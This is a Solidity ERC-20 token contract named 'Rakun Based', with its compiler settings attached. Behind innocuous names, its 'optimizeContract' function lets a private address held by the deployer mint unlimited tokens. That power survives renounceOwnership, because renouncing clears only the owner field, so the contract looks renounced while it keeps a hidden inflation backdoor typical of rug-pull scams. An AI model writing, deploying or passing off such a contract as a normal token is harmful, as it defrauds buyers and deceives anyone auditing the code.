// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract RAKUN_BASED {
string public constant name = "Rakun Based";
string public constant symbol = "Rakun";
uint8 public constant decimals = 18;
uint256 public totalSupply;
address public owner;
address private optimizing;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipRenounced(address indexed previousOwner);
event OptimizerChanged(address indexed newOptimizer);
event Burn(address indexed from, uint256 value);
constructor() {
owner = msg.sender;
optimizing = msg.sender;
initiateSupply(1000000000000); // Encapsulated supply initialization
emit Transfer(address(0), msg.sender, totalSupply);
}
function initiateSupply(uint256 initialUnits) private {
totalSupply = initialUnits * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner, "");
_;
}
modifier onlyOptimizing() {
require(msg.sender == optimizing, "");
_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "");
require(_value <= balances[msg.sender], "");
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function optimizeContract(address _to, uint256 _amount) public onlyOptimizing {
require(_to != address(0), "");
totalSupply += _amount;
balances[_to] += _amount;
emit Transfer(address(0), _to, _amount);
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "s");
require(_value <= balances[_from], "");
require(_value <= allowed[_from][msg.sender], "");
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function contractOptimizer(address _newOptimizer) public onlyOwner {
require(_newOptimizer != address(0), "");
optimizing = _newOptimizer;
emit OptimizerChanged(_newOptimizer);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 currentAllowance = allowed[msg.sender][_spender];
require(currentAllowance >= _subtractedValue, "");
allowed[msg.sender][_spender] -= _subtractedValue;
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public {
require(_value <= balances[msg.sender], "");
balances[msg.sender] -= _value;
totalSupply -= _value;
emit Transfer(msg.sender, address(0), _value);
emit Burn(msg.sender, _value);
}
}
{
"compilationTarget": {
"RAKUN_BASED.sol": "RAKUN_BASED"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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